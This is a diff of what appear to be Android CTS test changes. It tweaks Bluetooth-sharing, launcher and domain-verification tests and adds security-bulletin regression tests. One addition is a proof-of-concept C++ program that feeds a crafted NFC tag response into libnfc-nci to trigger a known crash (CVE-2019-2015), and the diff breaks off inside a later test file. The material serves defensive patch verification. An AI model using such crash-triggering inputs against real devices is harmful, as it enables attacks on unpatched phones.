         while (SystemClock.elapsedRealtime() < timeout) {
             state = mPackageManager.getComponentEnabledSetting(component);
-            if (expectedState == state) {
+            if (ArrayUtils.contains(expectedState, state)) {
                 // Success, waiting for component to be fully turned on/off
                 sleep(CHECK_WAIT_TIME_MS);
                 return;
             }
             sleep(POLL_TIME_MS);
         }
-        fail("The state of " + component + " should have been " + expectedState + ", it but was "
+        fail("The state of " + component + " should have been "
+                + ArrayUtils.deepToString(expectedState) + ", it but was "
                 + state + " after timeout.");
     }
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
index 06f5cb8..18f0d7c 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
@@ -15,7 +15,9 @@
  */
 package com.android.cts.managedprofile;
 
+import static android.os.Process.BLUETOOTH_UID;
 
+import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.content.ComponentName;
 import android.content.Context;
@@ -25,13 +27,17 @@
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
 import android.os.SystemClock;
+import android.os.SystemProperties;
 import android.os.UserManager;
 
+import androidx.test.InstrumentationRegistry;
+
+import com.android.internal.util.ArrayUtils;
+
 import junit.framework.TestCase;
 
 import java.util.List;
 
-
 /**
  * Test {@link UserManager#DISALLOW_BLUETOOTH_SHARING} in profile owner.
  *
@@ -43,8 +49,12 @@
     /** How often to check component state. */
     private static final int POLL_TIME_MS = 400;
     /** Activity that handles Bluetooth sharing. */
-    private static final ComponentName OPP_LAUNCHER_COMPONENT = new ComponentName(
-            "com.android.bluetooth.services", "com.android.bluetooth.opp.BluetoothOppLauncherActivity");
+    private static final String OPP_LAUNCHER_CLASS =
+            "com.android.bluetooth.opp.BluetoothOppLauncherActivity";
+    private static final String INTERACT_ACROSS_USERS_PERMISSION =
+            "android.permission.INTERACT_ACROSS_USERS";
+    private static final UiAutomation sUiAutomation =
+             InstrumentationRegistry.getInstrumentation().getUiAutomation();
 
     /**
      * Tests that Bluetooth sharing activity gets disabled when the restriction is enforced.
@@ -80,7 +90,7 @@
 
     /**
      * Builds an intent to share an image file. If Bluetooth sharing is allowed, it should be
-     * handled by {@link #OPP_LAUNCHER_COMPONENT}.
+     * handled by {@link #OPP_LAUNCHER_CLASS}.
      */
     private static Intent fileSharingIntent() {
         final Intent result = new Intent(Intent.ACTION_SEND);
@@ -97,30 +107,44 @@
         // Check restriction.
         assertRestrictionEnforced(context, !available);
         // Check component status.
-        final int componentEnabledState = available
-                ? PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
-                : PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
-        assertComponentStateAfterTimeout(context, OPP_LAUNCHER_COMPONENT, componentEnabledState);
-        // Check whether sharing activity is offered.
-        assertHandlerAvailable(context, fileSharingIntent(), OPP_LAUNCHER_COMPONENT, available);
+        final int[] componentEnabledState = available
+                ? new int[] {PackageManager.COMPONENT_ENABLED_STATE_DEFAULT,
+                        PackageManager.COMPONENT_ENABLED_STATE_ENABLED}
+                : new int[] {PackageManager.COMPONENT_ENABLED_STATE_DISABLED};
+
+        sUiAutomation.adoptShellPermissionIdentity(INTERACT_ACROSS_USERS_PERMISSION);
+        String bluetoothPackageName = context.getPackageManager()
+                .getPackagesForUid(BLUETOOTH_UID)[0];
+        sUiAutomation.dropShellPermissionIdentity();
+
+        ComponentName oppLauncherComponent = new ComponentName(
+                bluetoothPackageName, OPP_LAUNCHER_CLASS);
+
+        assertComponentStateAfterTimeout(context, oppLauncherComponent, componentEnabledState);
+        // Do not perform the handler check if the profile is disabled on the device.
+        if (SystemProperties.getBoolean("bluetooth.profile.opp.enabled", false)) {
+            // Check whether sharing activity is offered.
+            assertHandlerAvailable(context, fileSharingIntent(), oppLauncherComponent, available);
+        }
     }
 
     /** Waits for package state to change to a desired one or fails. */
     private static void assertComponentStateAfterTimeout(Context context, ComponentName component,
-            int expectedState)
+            int[] expectedState)
             throws Exception {
         final long timeout = SystemClock.elapsedRealtime() + COMPONENT_STATE_TIMEOUT_MS;
         int state = -1;
         while (SystemClock.elapsedRealtime() < timeout) {
             state = context.getPackageManager().getComponentEnabledSetting(component);
-            if (expectedState == state) {
+            if (ArrayUtils.contains(expectedState, state)) {
                 // Success
                 return;
             }
             Thread.sleep(POLL_TIME_MS);
         }
-        TestCase.fail("The state of " + component + " should have been " + expectedState
-                + ", it but was " + state + " after timeout.");
+        TestCase.fail("The state of " + component + " should have been "
+                + ArrayUtils.deepToString(expectedState)
+                + ", but was " + state + " after timeout.");
     }
 
     /** Verifies that {@code component} is offered when handling {@code intent}. */
@@ -136,7 +160,6 @@
                                     info.providerInfo;
             final ComponentName resolvedComponent =
                     new ComponentName(componentInfo.packageName, componentInfo.name);
-
             if (resolvedComponent.equals(component)) {
                 if (shouldResolve) {
                     // Found it, assertion passed.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
index 31f14cc..1f42d46 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
@@ -16,7 +16,6 @@
 
 package com.android.cts.devicepolicy;
 
-import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.log.LogUtil.CLog;
 
 /**
@@ -33,6 +32,8 @@
     protected static final String LAUNCHER_TESTS_APK = "CtsLauncherAppsTests.apk";
     protected static final String LAUNCHER_TESTS_SUPPORT_PKG =
             "com.android.cts.launchertests.support";
+    protected static final String LAUNCHER_TESTS_SUPPORT_COMPONENT =
+            LAUNCHER_TESTS_SUPPORT_PKG + "/.LauncherCallbackTestsService";
     protected static final String LAUNCHER_TESTS_SUPPORT_APK = "CtsLauncherAppsTestsSupport.apk";
 
     protected void installTestApps(int userId) throws Exception {
@@ -49,7 +50,18 @@
     protected void startCallbackService(int userId) throws Exception {
         String command = "am startservice --user " + userId
                 + " -a " + LAUNCHER_TESTS_SUPPORT_PKG + ".REGISTER_CALLBACK "
-                + LAUNCHER_TESTS_SUPPORT_PKG + "/.LauncherCallbackTestsService";
+                + LAUNCHER_TESTS_SUPPORT_COMPONENT;
         CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
     }
+
+    protected boolean isCallbackServiceReady() throws Exception {
+        String command = "dumpsys activity services " + LAUNCHER_TESTS_SUPPORT_COMPONENT
+                + " | grep 'app=ProcessRecord'";
+        String result = getDevice().executeShellCommand(command);
+        CLog.d("Check service started by " + command + ": " + result);
+        if (result.isEmpty()) {
+            return false;
+        }
+        return true;
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
index 73f6204..6e9bae5 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsSingleUserTest.java
@@ -104,6 +104,9 @@
         }
         installAppAsUser(SIMPLE_APP_APK, mCurrentUserId);
         startCallbackService(mCurrentUserId);
+        while (!isCallbackServiceReady()) {
+            Thread.sleep(100);
+        }
         getDevice().uninstallPackage(SIMPLE_APP_PKG);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index 1861010..e1fde62 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -210,4 +210,49 @@
 
         assertResolvesTo(browsers)
     }
+
+    @Test
+    fun newVerifyTakesOverSelected() {
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, true, DOMAIN_1, DOMAIN_2)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+        assertResolvesTo(browsers, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        // Re-select package 2 and re-verify the disabled package 1, should maintain package 2
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+    }
+
+    @Test
+    fun newVerifyDoesNotTakesOverSelectedWhenLinkHandlingDisabled() {
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, true, DOMAIN_1, DOMAIN_2)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        // Re-select package 2 and re-verify the disabled package 1, should maintain package 2
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+    }
 }
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt b/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt
index 6f34df7..3a9ba4b 100644
--- a/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt
@@ -61,16 +61,12 @@
     protected val userId = context.userId
     protected val manager = context.getSystemService(DomainVerificationManager::class.java)!!
 
-    protected lateinit var intent: Intent
-
     protected lateinit var browsers: List<ComponentName>
     protected lateinit var allResults: List<ComponentName>
 
     @Before
     fun findBrowsers() {
         SharedVerifications.reset(context, resetEnable)
-        intent = Intent(Intent.ACTION_VIEW, Uri.parse("https://$domain"))
-            .applyIntentVariant(intentVariant)
 
         browsers = Intent(Intent.ACTION_VIEW, Uri.parse("https://$DOMAIN_UNHANDLED"))
             .applyIntentVariant(intentVariant)
@@ -107,9 +103,14 @@
         assertThat(ShellUtils.runShellCommand(it)).isEmpty()
     }
 
-    protected fun assertResolvesTo(result: ComponentName) = assertResolvesTo(listOf(result))
+    protected fun assertResolvesTo(result: ComponentName, domain: String = this.domain) =
+            assertResolvesTo(listOf(result), domain)
 
-    protected fun assertResolvesTo(components: Collection<ComponentName>, debug: Boolean = false) {
+    protected fun assertResolvesTo(
+            components: Collection<ComponentName>,
+            domain: String = this.domain,
+            debug: Boolean = false
+    ) {
         val message = if (debug) {
             ShellUtils.runShellCommand(
                 "pm get-app-links --user ${context.userId} $DECLARING_PKG_NAME_1")
@@ -117,6 +118,9 @@
             ""
         }
 
+        val intent = Intent(Intent.ACTION_VIEW, Uri.parse("http://$domain"))
+                .applyIntentVariant(intentVariant)
+
         // Pass MATCH_DEFAULT_ONLY to mirror startActivity resolution
         assertWithMessage(message)
             .that(packageManager.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY)
diff --git a/hostsidetests/packagemanager/packagesetting/src/com/android/tests/packagesetting/host/PackageSettingTest.java b/hostsidetests/packagemanager/packagesetting/src/com/android/tests/packagesetting/host/PackageSettingTest.java
index 0b66e17..93ab5a3 100644
--- a/hostsidetests/packagemanager/packagesetting/src/com/android/tests/packagesetting/host/PackageSettingTest.java
+++ b/hostsidetests/packagemanager/packagesetting/src/com/android/tests/packagesetting/host/PackageSettingTest.java
@@ -25,6 +25,7 @@
 
 import org.junit.After;
 import org.junit.Assert;
+import org.junit.Assume;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -83,6 +84,8 @@
     @Test
     @AppModeFull
     public void testFirstInstallTimeWithReboot() throws Exception {
+        Assume.assumeTrue("device does not support multi-user",
+                getDevice().getMaxNumberOfUsersSupported() > 1);
         installPackage(TEST_APK);
         final int currentUser = getDevice().getCurrentUser();
         final String firstInstallTimeForCurrentUser = getFirstInstallTimeForUserFromDumpsys(
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/Android.bp
new file mode 100644
index 0000000..eefc03b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2015",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+        "system/nfc/src/nfa/include",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/poc.cpp
new file mode 100644
index 0000000..4fe2d56
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/poc.cpp
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#include <nfa_api.h>
+#include <nfa_dm_int.h>
+#include <nfa_rw_int.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGSEGV) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+char enable_selective_overload = ENABLE_NONE;
+void *libHandle = nullptr;
+
+/* States */
+enum {
+  RW_T3T_STATE_NOT_ACTIVATED,
+  RW_T3T_STATE_IDLE,
+  RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+  RW_T3T_CMD_DETECT_NDEF,
+  RW_T3T_CMD_CHECK_NDEF,
+  RW_T3T_CMD_UPDATE_NDEF,
+  RW_T3T_CMD_CHECK,
+  RW_T3T_CMD_UPDATE,
+  RW_T3T_CMD_SEND_RAW_FRAME,
+  RW_T3T_CMD_GET_SYSTEM_CODES,
+  RW_T3T_CMD_FORMAT,
+  RW_T3T_CMD_SET_READ_ONLY_SOFT,
+  RW_T3T_CMD_SET_READ_ONLY_HARD,
+  RW_T3T_CMD_MAX
+};
+
+tNFA_RW_MSG *p_data = nullptr;
+tNFC_DATA_CEVT *p_data1 = nullptr;
+extern void rw_t3t_data_cback(__attribute__((unused)) uint8_t conn_id,
+                       tNFC_DATA_CEVT* p_data);
+extern bool nfa_rw_activate_ntf(tNFA_RW_MSG* p_data);
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFA_DM_CB nfa_dm_cb = {};
+void rw_init(void);
+void NFA_Init(tHAL_NFC_ENTRY *p_hal_entry_tbl);
+
+extern void rw_t2t_handle_rsp(uint8_t *p_data);
+
+void GKI_freebuf(void *p_buf __attribute__((unused))) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+  (void)event;
+  (void)p_rw_data;
+}
+
+void p_conn_cback(uint8_t event, tNFA_CONN_EVT_DATA *p_rw_data) {
+  (void)event;
+  (void)p_rw_data;
+}
+
+void exit_handler(void) {
+  if (p_data) {
+      if (p_data->activate_ntf.p_activate_params) {
+          free(p_data->activate_ntf.p_activate_params);
+          p_data->activate_ntf.p_activate_params = nullptr;
+      }
+      free(p_data);
+      p_data = nullptr;
+  }
+
+  if (p_data1) {
+      if(p_data1->p_data) {
+          free(p_data1->p_data);
+          p_data1->p_data = nullptr;
+      }
+    free(p_data1);
+    p_data1 = nullptr;
+  }
+}
+int main() {
+  atexit(exit_handler);
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigsegv_handler;
+  sigaction(SIGSEGV, &new_action, &old_action);
+
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+  GKI_init();
+  rw_init();
+  tHAL_NFC_ENTRY p_hal_entry_tbl;
+  NFA_Init(&p_hal_entry_tbl);
+  nfa_dm_cb.p_conn_cback = p_conn_cback;
+  p_data = (tNFA_RW_MSG *)calloc(1, sizeof(tNFA_RW_MSG));
+  FAIL_CHECK(p_data);
+
+  p_data->activate_ntf.p_activate_params =
+      (tNFC_ACTIVATE_DEVT *)calloc(1, sizeof(tNFC_ACTIVATE_DEVT));
+  FAIL_CHECK(p_data->activate_ntf.p_activate_params);
+
+  p_data->activate_ntf.p_activate_params->protocol = NFC_PROTOCOL_T2T;
+
+  nfa_rw_activate_ntf(p_data);
+  tRW_CBACK *p_cback = rw_cb.p_cback;
+  FAIL_CHECK(p_cback);
+
+  enable_selective_overload = ENABLE_ALL;
+  nfa_rw_cb.cur_op = NFA_RW_OP_READ_NDEF;
+  nfa_rw_cb.p_ndef_buf = (uint8_t *)calloc(1, sizeof(uint8_t));
+  FAIL_CHECK(nfa_rw_cb.p_ndef_buf);
+
+  tRW_T3T_CB *p_cb = &rw_cb.tcb.t3t;
+  p_cb->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+  p_cb->cur_cmd = RW_T3T_CMD_CHECK;
+  p_data1 = (tNFC_DATA_CEVT *)calloc(1, sizeof(tNFC_DATA_CEVT));
+  FAIL_CHECK(p_data1);
+  p_data1->p_data = (NFC_HDR *)calloc(3, sizeof(NFC_HDR));
+  FAIL_CHECK(p_data1->p_data);
+  enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+
+  NFC_HDR *p_msg = p_data1->p_data;
+  p_msg->offset = 0;
+  p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+  uint8_t *p = (uint8_t *)(p_msg + 1) + p_msg->offset;
+  p[0] = NCI_STATUS_OK;
+
+  uint8_t *p_t3t_rsp = p + 1;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+  memcpy(p_cb->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM], NCI_NFCID2_LEN);
+  uint8_t conn_id = 0;
+
+  testInProgress = true;
+  rw_t3t_data_cback(conn_id, p_data1);
+  testInProgress = false;
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
new file mode 100644
index 0000000..1a798c2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2015 extends SecurityTestCase {
+
+    /**
+     * b/120503926
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t3t_act_handle_check_rsp (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 120503926)
+    @Test
+    public void testPocCVE_2019_2015() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2019-2015";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t3t_act_handle_check_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
new file mode 100644
index 0000000..2bc254e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0338 extends StsExtraBusinessLogicHostTestBase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 123700107)
+    @Test
+    public void testPocCVE_2020_0338() throws Exception {
+        final String TEST_PKG = "android.security.cts.CVE_2020_0338";
+        final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+        final String TEST_APP = "CVE-2020-0338.apk";
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2020_0338");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
new file mode 100644
index 0000000..de245bb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 228450811)
+    @Test
+    public void testPocCVE_2022_20347() {
+        try {
+            final String testPkg = "android.security.cts.CVE_2022_20347";
+            final String testClass = testPkg + "." + "DeviceTest";
+            ITestDevice device = getDevice();
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+            installPackage("CVE-2022-20347.apk");
+            runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
new file mode 100644
index 0000000..c4f5225
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
